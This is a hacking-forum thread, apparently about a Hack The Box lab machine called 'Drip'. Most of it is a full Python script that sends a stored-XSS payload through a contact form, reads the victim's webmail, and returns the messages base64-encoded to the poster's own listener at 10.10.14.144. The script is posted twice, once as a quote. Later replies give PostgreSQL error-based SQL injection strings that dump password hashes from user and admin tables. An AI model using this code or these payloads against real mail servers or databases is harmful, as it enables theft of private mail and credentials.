Possibly Related Threads…

fr34cker · 02-08-2025, 09:45 PM

http://dev-a3f1-01.drip.htb/login

jonklem · (This post was last modified: 02-08-2025, 10:09 PM by jonklem.)

THis helped speed things up a smidge:

import requests
from http.server import BaseHTTPRequestHandler, HTTPServer
import base64
import threading
from lxml import html


# Configuration
TARGET_URL = 'http://drip.htb/contact'
LISTEN_PORT = 8000
LISTEN_IP = '0.0.0.0'

# Payload for the POST request
start_mesg = '<body title="bgcolor=foo" name="bar style=animation-name:progress-bar-stripes onanimationstart=fetch(\'/?_task=mail&_action=show&_uid='
message = 4
end_mesg = '&_mbox=INBOX&_extwin=1\').then(r=>r.text()).then(t=>fetch(`http://10.10.14.144:8000/c=${btoa(t)}`)) foo=bar">Foo</body>'

post_data = {
    'name': 'asdf',
    'email': 'asdf',
    'message': f"{start_mesg}{message}{end_mesg}",
    'content': 'html',
    'recipient': 'bcase@drip.htb'
}
print(f"{start_mesg}{message}{end_mesg}")

# Headers for the POST request
headers = {
    'Host': 'drip.htb',
    'Cache-Control': 'max-age=0',
    'Upgrade-Insecure-Requests': '1',
    'Origin': 'http://drip.htb',
    'Content-Type': 'application/x-www-form-urlencoded',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'Referer': 'http://drip.htb/index',
    'Accept-Encoding': 'gzip, deflate, br',
    'Accept-Language': 'en-US,en;q=0.9',
    'Cookie': 'session=eyJfZnJlc2giOmZhbHNlfQ.Z6fOBw.u9iWIiki2cUK55mmcizrzU5EJzE',
    'Connection': 'close'
}

# Function to send the POST request
def send_post():
    response = requests.post(TARGET_URL, data=post_data, headers=headers)
    print(f"[+] POST Request Sent! Status Code: {response.status_code}")

# Custom HTTP request handler to capture and decode the incoming data
class RequestHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        if '/c=' in self.path:
            encoded_data = self.path.split('/c=')[1]
            decoded_data = base64.b64decode(encoded_data).decode('latin-1')
            print(f"[+] Received data {decoded_data}")
            tree = html.fromstring(decoded_data)

            # XPath query to find the div with id 'messagebody'
            message_body = tree.xpath('//div[@id="messagebody"]')
            
            # Check if the div exists and extract the content
            if message_body:
                # Extract inner text, preserving line breaks
                message_text = message_body[0].text_content().strip()
                print("[+] Extracted Message Body Content:\n")
                print(message_text)
            else:
                print("[!] No div with id 'messagebody' found.")

        else:
            print("[!] Received request but no data found.")

        self.send_response(200)
        self.end_headers()
        self.wfile.write(b'OK')

    def log_message(self, format, *args):
        return  # Suppress default logging

# Function to start the HTTP server
def start_server():
    server_address = (LISTEN_IP, LISTEN_PORT)
    httpd = HTTPServer(server_address, RequestHandler)
    print(f"[+] Listening on port {LISTEN_PORT} for exfiltrated data...")
    httpd.serve_forever()

# Run the HTTP server in a separate thread
server_thread = threading.Thread(target=start_server)
server_thread.daemon = True
server_thread.start()

# Send the POST request
send_post()

# Keep the main thread alive to continue listening
try:
    while True:
        pass
except KeyboardInterrupt:
    print("\n[+] Stopping server.")

I was able to request password reset, and then get the URL. However, after resetting the password it's not letting me sign in. I'm wondering if it's an http form issue. I can't seem to turn it off

(02-08-2025, 10:08 PM)jonklem Wrote: THis helped speed things up a smidge:

import requests from http.server import BaseHTTPRequestHandler, HTTPServer import base64 import threading from lxml import html # Configuration TARGET_URL = 'http://drip.htb/contact' LISTEN_PORT = 8000 LISTEN_IP = '0.0.0.0' # Payload for the POST request start_mesg = '<body title="bgcolor=foo" name="bar style=animation-name:progress-bar-stripes onanimationstart=fetch(\'/?_task=mail&_action=show&_uid=' message = 4 end_mesg = '&_mbox=INBOX&_extwin=1\').then(r=>r.text()).then(t=>fetch(`http://10.10.14.144:8000/c=${btoa(t)}`)) foo=bar">Foo</body>' post_data = { 'name': 'asdf', 'email': 'asdf', 'message': f"{start_mesg}{message}{end_mesg}", 'content': 'html', 'recipient': 'bcase@drip.htb' } print(f"{start_mesg}{message}{end_mesg}") # Headers for the POST request headers = { 'Host': 'drip.htb', 'Cache-Control': 'max-age=0', 'Upgrade-Insecure-Requests': '1', 'Origin': 'http://drip.htb', 'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7', 'Referer': 'http://drip.htb/index', 'Accept-Encoding': 'gzip, deflate, br', 'Accept-Language': 'en-US,en;q=0.9', 'Cookie': 'session=eyJfZnJlc2giOmZhbHNlfQ.Z6fOBw.u9iWIiki2cUK55mmcizrzU5EJzE', 'Connection': 'close' } # Function to send the POST request def send_post(): response = requests.post(TARGET_URL, data=post_data, headers=headers) print(f"[+] POST Request Sent! Status Code: {response.status_code}") # Custom HTTP request handler to capture and decode the incoming data class RequestHandler(BaseHTTPRequestHandler): def do_GET(self): if '/c=' in self.path: encoded_data = self.path.split('/c=')[1] decoded_data = base64.b64decode(encoded_data).decode('latin-1') print(f"[+] Received data {decoded_data}") tree = html.fromstring(decoded_data) # XPath query to find the div with id 'messagebody' message_body = tree.xpath('//div[@id="messagebody"]') # Check if the div exists and extract the content if message_body: # Extract inner text, preserving line breaks message_text = message_body[0].text_content().strip() print("[+] Extracted Message Body Content:\n") print(message_text) else: print("[!] No div with id 'messagebody' found.") else: print("[!] Received request but no data found.") self.send_response(200) self.end_headers() self.wfile.write(b'OK') def log_message(self, format, *args): return # Suppress default logging # Function to start the HTTP server def start_server(): server_address = (LISTEN_IP, LISTEN_PORT) httpd = HTTPServer(server_address, RequestHandler) print(f"[+] Listening on port {LISTEN_PORT} for exfiltrated data...") httpd.serve_forever() # Run the HTTP server in a separate thread server_thread = threading.Thread(target=start_server) server_thread.daemon = True server_thread.start() # Send the POST request send_post() # Keep the main thread alive to continue listening try: while True: pass except KeyboardInterrupt: print("\n[+] Stopping server.")

I was able to request password reset, and then get the URL. However, after resetting the password it's not letting me sign in. I'm wondering if it's an http form issue. I can't seem to turn it off

I'm dumb. I had to use 'bcase' instead of the email

ThreeCleaves · 02-08-2025, 10:22 PM

After logging in it looks like you can interact with SQL through the search in the Analytics section.

Table appears to have 6 columns. My sqli is kind of weak but working through it to see what I can find.

4yhg5y72jffg820j3f · 02-08-2025, 10:25 PM

You'll find a bunch of uncrackable md5s

peRd1 · 02-08-2025, 10:28 PM

(02-08-2025, 09:45 PM)fr34cker Wrote: http://dev-a3f1-01.drip.htb/login

And there's sql injection on the search of analytics. Wink

0x2034 · 02-08-2025, 10:29 PM

guys the token msg number ???

jonklem · 02-08-2025, 10:40 PM

This seems to work:

''; (SELECT CAST(password AS integer) FROM "Users" WHERE ID = 5003) --

To force the hashes into the error message. sqlmap is taking forever. I have 2 hashes, they're not in crackstation:

d9b9ecbf29db8054b21f303072b37c4e
0cebd84e066fd988e89083879e88c5f9

LiTEE · 02-08-2025, 11:04 PM

The same for `''; (SELECT password::text FROM "Admins" *) --` -> dc5484871bc95c4eab58032884be7225 not crackable

jonklem · 02-08-2025, 11:07 PM

I was able to get additional hashes messing around with my query. I'm not hopeful that they'll crack. I've tried fiddling around with executing things via pgsql to no avail.

ThreeCleaves · 02-08-2025, 11:10 PM

(02-08-2025, 11:04 PM)LiTEE Wrote: The same for `''; (SELECT password::text FROM "Admins" *) --` -> dc5484871bc95c4eab58032884be7225 not crackable

The hash this returned for me was the password I reset bcase too.

Possibly Related Threads…
Thread		Author	Replies	Views	Last Post
	Hack the box Pro Labs, VIP, VIP+ 1 month free Method	RedBlock	22	9,275	06-25-2026, 02:15 PM Last Post: hashxyz
	HTB Eloquia User and Root Flags - Insane Box	69646B	13	7,456	03-27-2026, 06:14 PM Last Post: vlxw
	HTB - VOLEUR.HTB - MEDIUM WINDOWS	chain	1	6,652	02-09-2026, 07:07 PM Last Post: 403Forbidden
	HTB - CERTIFICATE.HTB - HARD WINDOWS	chain	0	2,861	02-09-2026, 04:49 PM Last Post: chain
	Hack the Box FullHouse all 7 flags	RedBlock	13	4,812	01-27-2026, 08:30 PM Last Post: 00xx00